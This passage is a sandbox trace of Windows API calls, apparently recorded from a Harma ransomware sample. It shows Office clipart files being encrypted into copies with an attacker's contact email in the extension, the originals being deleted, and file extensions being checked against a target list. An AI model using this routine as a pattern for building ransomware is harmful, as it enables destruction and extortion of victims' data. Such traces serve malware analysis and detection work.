dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0139.410] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=6632) returned 1 [0139.410] CloseHandle (hObject=0x33c) returned 1 [0139.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 0x20 [0139.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0139.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0139.411] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0139.411] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0139.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0139.414] GetLastError () returned 0x0 [0139.414] ReadFile (in: hFile=0x33c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x19e8, lpOverlapped=0x0) returned 1 [0139.418] WriteFile (in: hFile=0x21c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x19f0, lpOverlapped=0x0) returned 1 [0139.420] ReadFile (in: hFile=0x33c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0139.420] WriteFile (in: hFile=0x21c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.420] SetEndOfFile (hFile=0x21c) returned 1 [0139.440] CloseHandle (hObject=0x21c) returned 1 [0139.440] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0139.441] SetEndOfFile (hFile=0x33c) returned 1 [0139.444] CloseHandle (hObject=0x33c) returned 1 [0139.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0139.444] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0139.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0139.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0139.445] lstrlenW (lpString=".doc") returned 4 [0139.445] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.445] lstrlenW (lpString=".docx") returned 5 [0139.445] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.445] lstrlenW (lpString=".pdf") returned 4 [0139.445] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.446] lstrlenW (lpString=".xls") returned 4 [0139.446] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.446] lstrlenW (lpString=".xlsx") returned 5 [0139.446] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.446] lstrlenW (lpString=".ppt") returned 4 [0139.446] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0139.446] lstrlenW (lpString=".zip") returned 4 [0139.446] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.446] lstrlenW (lpString=".rar") returned 4 [0139.446] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.446] lstrlenW (lpString=".bz2") returned 4 [0139.446] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.446] lstrlenW (lpString=".7z") returned 3 [0139.446] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0139.446] lstrlenW (lpString=".dbf") returned 4 [0139.446] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0139.446] lstrlenW (lpString=".1cd") returned 4 [0139.446] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0139.446] lstrlenW (lpString=".jpg") returned 4 [0139.446] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0139.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0139.447] lstrlenW (lpString=".doc") returned 4 [0139.447] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.447] lstrlenW (lpString=".docx") returned 5 [0139.447] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.447] lstrlenW (lpString=".pdf") returned 4 [0139.447] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.447] lstrlenW (lpString=".xls") returned 4 [0139.447] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.447] lstrlenW (lpString=".xlsx") returned 5 [0139.447] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.447] lstrlenW (lpString=".ppt") returned 4 [0139.447] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0139.447] lstrlenW (lpString=".zip") returned 4 [0139.447] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.447] lstrlenW (lpString=".rar") returned 4 [0139.447] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.447] lstrlenW (lpString=".bz2") returned 4 [0139.447] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.447] lstrlenW (lpString=".7z") returned 3 [0139.447] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0139.447] lstrlenW (lpString=".dbf") returned 4 [0139.447] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0139.448] lstrlenW (lpString=".1cd") returned 4 [0139.448] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0139.448] lstrlenW (lpString=".jpg") returned 4 [0139.448] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.448] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0139.448] lstrlenW (lpString="AN03500_.WMF") returned 12 [0139.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0139.449] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=9240) returned 1 [0139.449] CloseHandle (hObject=0x33c) returned 1 [0139.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 0x20 [0139.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0139.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0139.450] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0139.450] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0139.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0139.544] GetLastError () returned 0x0 [0139.544] ReadFile (in: hFile=0x33c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x2418, lpOverlapped=0x0) returned 1 [0139.546] WriteFile (in: hFile=0x350, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2420, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x2420, lpOverlapped=0x0) returned 1 [0139.547] ReadFile (in: hFile=0x33c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0139.547] WriteFile (in: hFile=0x350, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.547] SetEndOfFile (hFile=0x350) returned 1 [0139.547] CloseHandle (hObject=0x350) returned 1 [0139.547] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0139.547] SetEndOfFile (hFile=0x33c) returned 1 [0139.551] CloseHandle (hObject=0x33c) returned 1 [0139.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0140.275] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an03500_.wmf")) returned 1 [0140.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0140.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0140.302] lstrlenW (lpString=".doc") returned 4 [0140.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.302] lstrlenW (lpString=".docx") returned 5 [0140.302] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.302] lstrlenW (lpString=".pdf") returned 4 [0140.302] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.302] lstrlenW (lpString=".xls") returned 4 [0140.303] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.303] lstrlenW (lpString=".xlsx") returned 5 [0140.303] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.303] lstrlenW (lpString=".ppt") returned 4 [0140.303] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0140.303] lstrlenW (lpString=".zip") returned 4 [0140.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.303] lstrlenW (lpString=".rar") returned 4 [0140.303] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.303] lstrlenW (lpString=".bz2") returned 4 [0140.303] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.303] lstrlenW (lpString=".7z") returned 3 [0140.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0140.303] lstrlenW (lpString=".dbf") returned 4 [0140.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0140.303] lstrlenW (lpString=".1cd") returned 4 [0140.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0140.303] lstrlenW (lpString=".jpg") returned 4 [0140.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0140.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0140.303] lstrlenW (lpString=".doc") returned 4 [0140.303] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.303] lstrlenW (lpString=".docx") returned 5 [0140.303] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.303] lstrlenW (lpString=".pdf") returned 4 [0140.304] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.304] lstrlenW (lpString=".xls") returned 4 [0140.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.304] lstrlenW (lpString=".xlsx") returned 5 [0140.304] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.304] lstrlenW (lpString=".ppt") returned 4 [0140.304] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0140.304] lstrlenW (lpString=".zip") returned 4 [0140.304] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.304] lstrlenW (lpString=".rar") returned 4 [0140.304] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.304] lstrlenW (lpString=".bz2") returned 4 [0140.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.304] lstrlenW (lpString=".7z") returned 3 [0140.304] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0140.304] lstrlenW (lpString=".dbf") returned 4 [0140.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0140.304] lstrlenW (lpString=".1cd") returned 4 [0140.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN03500_.WMF") returned 63 [0140.304] lstrlenW (lpString=".jpg") returned 4 [0140.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.304] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0140.304] lstrlenW (lpString="AN04117_.WMF") returned 12 [0140.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0140.375] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=6060) returned 1 [0140.375] CloseHandle (hObject=0x210) returned 1 [0140.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 0x20 [0140.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0140.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0140.385] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0140.385] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0140.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0140.386] GetLastError () returned 0x0 [0140.386] ReadFile (in: hFile=0x340, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x17ac, lpOverlapped=0x0) returned 1 [0140.602] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x17b0, lpOverlapped=0x0) returned 1 [0140.603] ReadFile (in: hFile=0x340, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0140.603] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.603] SetEndOfFile (hFile=0x328) returned 1 [0140.604] CloseHandle (hObject=0x328) returned 1 [0140.604] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0140.604] SetEndOfFile (hFile=0x340) returned 1 [0140.606] CloseHandle (hObject=0x340) returned 1 [0140.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0140.607] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0140.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0140.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0140.607] lstrlenW (lpString=".doc") returned 4 [0140.607] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.608] lstrlenW (lpString=".docx") returned 5 [0140.608] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.608] lstrlenW (lpString=".pdf") returned 4 [0140.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.608] lstrlenW (lpString=".xls") returned 4 [0140.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.608] lstrlenW (lpString=".xlsx") returned 5 [0140.608] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.608] lstrlenW (lpString=".ppt") returned 4 [0140.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0140.608] lstrlenW (lpString=".zip") returned 4 [0140.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.608] lstrlenW (lpString=".rar") returned 4 [0140.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.608] lstrlenW (lpString=".bz2") returned 4 [0140.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.608] lstrlenW (lpString=".7z") returned 3 [0140.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0140.608] lstrlenW (lpString=".dbf") returned 4 [0140.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0140.608] lstrlenW (lpString=".1cd") returned 4 [0140.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0140.608] lstrlenW (lpString=".jpg") returned 4 [0140.608] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0140.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0140.608] lstrlenW (lpString=".doc") returned 4 [0140.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.609] lstrlenW (lpString=".docx") returned 5 [0140.609] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.609] lstrlenW (lpString=".pdf") returned 4 [0140.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.609] lstrlenW (lpString=".xls") returned 4 [0140.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.609] lstrlenW (lpString=".xlsx") returned 5 [0140.609] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.609] lstrlenW (lpString=".ppt") returned 4 [0140.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0140.609] lstrlenW (lpString=".zip") returned 4 [0140.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.609] lstrlenW (lpString=".rar") returned 4 [0140.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.609] lstrlenW (lpString=".bz2") returned 4 [0140.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.609] lstrlenW (lpString=".7z") returned 3 [0140.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0140.609] lstrlenW (lpString=".dbf") returned 4 [0140.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0140.609] lstrlenW (lpString=".1cd") returned 4 [0140.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 63 [0140.609] lstrlenW (lpString=".jpg") returned 4 [0140.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.610] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0140.610] lstrlenW (lpString="AN04196_.WMF") returned 12 [0140.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0140.610] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=3144) returned 1 [0140.610] CloseHandle (hObject=0x340) returned 1 [0140.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 0x20 [0140.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0140.611] CreateFileW (lpFileName="C:\\Program 